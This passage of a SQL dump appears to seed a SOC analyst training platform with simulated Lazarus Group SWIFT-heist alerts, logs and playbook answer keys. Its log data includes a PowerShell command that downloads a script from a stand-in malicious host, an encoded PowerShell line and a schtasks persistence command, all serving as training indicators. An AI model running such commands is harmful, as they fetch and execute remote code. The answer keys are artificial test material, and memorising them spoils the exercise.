Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known threat actor IP associated with financial crimes.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"mule_coordinator@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Unusual email activity related to financial transactions.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used in financial scams.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:35Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"username\\\":\\\"jdoe\\\",\\\"email\\\":\\\"mule_coordinator@example.com\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"money_mule_schedule.xlsx\\\",\\\"malicious_command\\\":\\\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\\\",\\\"communication_type\\\":\\\"email\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:35Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"username\\\":\\\"jdoe\\\",\\\"email\\\":\\\"mule_coordinator@example.com\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"money_mule_schedule.xlsx\\\",\\\"malicious_command\\\":\\\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\\\",\\\"communication_type\\\":\\\"email\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:35Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"username\\\":\\\"jdoe\\\",\\\"email\\\":\\\"mule_coordinator@example.com\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"money_mule_schedule.xlsx\\\",\\\"malicious_command\\\":\\\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\\\",\\\"communication_type\\\":\\\"email\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:35Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"username\\\":\\\"jdoe\\\",\\\"email\\\":\\\"mule_coordinator@example.com\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"money_mule_schedule.xlsx\\\",\\\"malicious_command\\\":\\\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\\\",\\\"communication_type\\\":\\\"email\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.462Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:35Z\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"203.0.113.5\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"username\\\":\\\"jdoe\\\",\\\"email\\\":\\\"mule_coordinator@example.com\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"money_mule_schedule.xlsx\\\",\\\"malicious_command\\\":\\\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\\\",\\\"communication_type\\\":\\\"email\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(814, 'Anomalous Network Traffic Spikes', 'high', 'Network Traffic Monitoring', 'Network traffic monitoring has detected significant spikes in outbound traffic correlating with known exfiltration patterns. The traffic appears to be directed towards an external IP address associated with previous malicious activity. The group is potentially attempting to cover their tracks while exfiltrating remaining valuable information.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"bytes_sent\":10485760,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"md5_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"jdoe\",\"filename\":\"final_report.pdf\",\"action\":\"outbound_traffic\",\"message\":\"Detected anomalous outbound traffic spikes destined for external IPs during data exfiltration phase.\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the host initiating the traffic.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous exfiltration activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with known malicious payloads.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_system\",\"verdict\":\"internal\",\"details\":\"Username of the account used to initiate the transaction.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"final_report.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_system\",\"verdict\":\"suspicious\",\"details\":\"Filename observed in outbound exfiltration traffic.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(815, 'Initial Compromise via Spear Phishing', 'high', 'Email gateway logs', 'Lazarus Group initiated an attack by targeting key personnel with spear-phishing emails, aiming to gain access to the bank\'s internal network. The email contained a malicious attachment disguised as a routine document.', 'Social Engineering', 'T1566.001 - Spear Phishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T08:45:34Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"email_subject\":\"Quarterly Financial Report Attached\",\"email_from\":\"john.doe@trustedsource.com\",\"email_to\":\"ceo@bank.com\",\"attachment_name\":\"Q3_Report_2023.docx\",\"attachment_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"malicious_url\":\"http://malicious-link.com/download\",\"user_agent\":\"Outlook/16.0.13328.20408\"}', '2026-01-12 22:20:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Records\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal bank network.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware used by Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-link.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Threat Exchange\",\"verdict\":\"malicious\",\"details\":\"URL linked to phishing campaigns by Lazarus Group.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Compromise via Spear Phishing\",\"date\":\"2026-02-01T20:32:22.465Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(816, 'Deployment of Custom Malware', 'critical', 'Endpoint detection systems', 'Custom malware associated with the Lazarus Group was detected attempting to manipulate SWIFT software on a financial system endpoint. This malware is designed to facilitate fraudulent transactions by altering legitimate financial data.', 'Malware', 'T1071.001 - Application Layer Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:32:11Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.20\",\"file_name\":\"swift_update.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"username\":\"finance_user\",\"action\":\"malware_deployed\",\"description\":\"Custom malware swift_update.exe with hash b1946ac92492d2347c6235b4d2611184 deployed on 192.168.1.20 by user finance_user from IP 203.0.113.45\"}', '2026-01-12 22:20:52', '2026-02-16 17:58:29', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous Lazarus Group activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Endpoint within financial department network\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with custom malware used to manipulate financial transactions\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"swift_update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection Systems\",\"verdict\":\"malicious\",\"details\":\"Executable designed to interfere with SWIFT operations\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"finance_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(817, 'Establishing Persistence in the Network', 'high', 'Network traffic analysis', 'The Lazarus Group has been identified using persistence techniques to maintain access in the network, ensuring their ability to monitor and execute transactions over an extended period. Anomalous network traffic was detected indicating the deployment of a scheduled task to run a known backdoor malware associated with Lazarus activities.', 'Persistence Mechanisms', 'T1053', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:35Z\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"23.89.34.12\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0\",\"filename\":\"scheduled_task.exe\",\"file_hash\":\"e9b1c3f4a5b6e7d8f9c0a1b2c3d4e5f6\",\"command_line\":\"schtasks /create /tn \\\"UpdateTask\\\" /tr \\\"C:\\\\Windows\\\\system32\\\\scheduled_task.exe\\\" /sc daily /st 02:00\",\"username\":\"admin_user\",\"tags\":[\"Lazarus Group\",\"Persistence\",\"Scheduled Task\"]}', '2026-01-12 22:20:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"23.89.34.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e9b1c3f4a5b6e7d8f9c0a1b2c3d4e5f6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known Lazarus backdoor malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"scheduled_task.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"suspicious\",\"details\":\"Filename frequently used in Lazarus persistence mechanisms.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Records\",\"verdict\":\"internal\",\"details\":\"User account used to schedule the malicious task.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(818, 'Lateral Movement to SWIFT Servers', 'critical', 'Internal network logs', 'The attacker has successfully moved laterally through the network and is targeting the SWIFT servers. This is a critical milestone in their heist operation aiming to access and manipulate the SWIFT messaging system.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-03T14:22:17Z\",\"source_ip\":\"192.168.1.104\",\"destination_ip\":\"192.168.1.200\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"swift_admin\",\"filename\":\"malware_payload.bin\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"access_granted\",\"message\":\"Successful authentication to SWIFT server using compromised credentials.\",\"event_id\":\"4672\",\"log_type\":\"authentication_success\",\"process\":\"svchost.exe\"}', '2026-01-12 22:20:52', '2026-02-16 17:58:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.104\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Intelligence\",\"verdict\":\"internal\",\"details\":\"Known internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Intelligence\",\"verdict\":\"internal\",\"details\":\"Known SWIFT server IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"swift_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Intelligence\",\"verdict\":\"internal\",\"details\":\"Compromised internal user account.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Lazarus Group malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(819, 'Manipulation of SWIFT Messages - Step 5', 'critical', 'SWIFT transaction logs', 'Lazarus Group has manipulated SWIFT messages to conceal fraudulent transactions totaling $951 million. The threat actors have executed a sophisticated operation, altering transaction details to evade detection.', 'Data Manipulation', 'T1565.002 - Data Manipulation: Transaction Manipulation', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-18T03:42:11Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user\":\"swift_operator\",\"transaction_id\":\"TXN123456789\",\"original_amount\":\"10,000 USD\",\"manipulated_amount\":\"951,000,000 USD\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"malware_filename\":\"swiftmanip.exe\",\"comment\":\"Transaction details altered successfully\",\"alert_id\":\"ALERT5678\",\"status\":\"Fraudulent\"}', '2026-01-12 22:20:52', '2026-02-16 17:59:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known Lazarus Group IP associated with financial attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal SWIFT server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used by Lazarus Group.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"swiftmanip.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Executable used in SWIFT transaction manipulation.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"swift_operator\",\"is_critical\":false,\"osint_result\":{\"source\":\"Employee Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user compromised by attackers.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T03:42:11Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"swift_operator\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"original_amount\\\":\\\"10,000 USD\\\",\\\"manipulated_amount\\\":\\\"951,000,000 USD\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"swiftmanip.exe\\\",\\\"comment\\\":\\\"Transaction details altered successfully\\\",\\\"alert_id\\\":\\\"ALERT5678\\\",\\\"status\\\":\\\"Fraudulent\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T03:42:11Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"swift_operator\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"original_amount\\\":\\\"10,000 USD\\\",\\\"manipulated_amount\\\":\\\"951,000,000 USD\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"swiftmanip.exe\\\",\\\"comment\\\":\\\"Transaction details altered successfully\\\",\\\"alert_id\\\":\\\"ALERT5678\\\",\\\"status\\\":\\\"Fraudulent\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T03:42:11Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"swift_operator\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"original_amount\\\":\\\"10,000 USD\\\",\\\"manipulated_amount\\\":\\\"951,000,000 USD\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"swiftmanip.exe\\\",\\\"comment\\\":\\\"Transaction details altered successfully\\\",\\\"alert_id\\\":\\\"ALERT5678\\\",\\\"status\\\":\\\"Fraudulent\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T03:42:11Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"swift_operator\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"original_amount\\\":\\\"10,000 USD\\\",\\\"manipulated_amount\\\":\\\"951,000,000 USD\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"swiftmanip.exe\\\",\\\"comment\\\":\\\"Transaction details altered successfully\\\",\\\"alert_id\\\":\\\"ALERT5678\\\",\\\"status\\\":\\\"Fraudulent\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T03:42:11Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"swift_operator\\\",\\\"transaction_id\\\":\\\"TXN123456789\\\",\\\"original_amount\\\":\\\"10,000 USD\\\",\\\"manipulated_amount\\\":\\\"951,000,000 USD\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"swiftmanip.exe\\\",\\\"comment\\\":\\\"Transaction details altered successfully\\\",\\\"alert_id\\\":\\\"ALERT5678\\\",\\\"status\\\":\\\"Fraudulent\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(820, 'Exfiltration of Stolen Funds', 'critical', 'International bank transfer records', 'The attackers successfully exfiltrated a portion of the funds, transferring them to accounts in the Philippines for laundering. Indicators of compromise include suspicious international bank transfer activities and known malicious IP addresses linked to the Lazarus Group.', 'Data Exfiltration', 'T1048: Data Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"source_ip\":\"103.123.45.67\",\"destination_ip\":\"192.168.10.25\",\"transaction_id\":\"TXN123456789\",\"amount\":\"5,000,000 USD\",\"destination_country\":\"Philippines\",\"malware_hash\":\"f2c7a3a849b8f8c7a3a849b8f8c7a3a8\",\"suspected_tool\":\"WannaCry\",\"user\":\"internal_user@bank.com\",\"filename\":\"transfer_record.xlsx\",\"status\":\"Completed\"}', '2026-01-12 22:20:52', '2026-02-16 17:58:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"103.123.45.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Lazarus Group 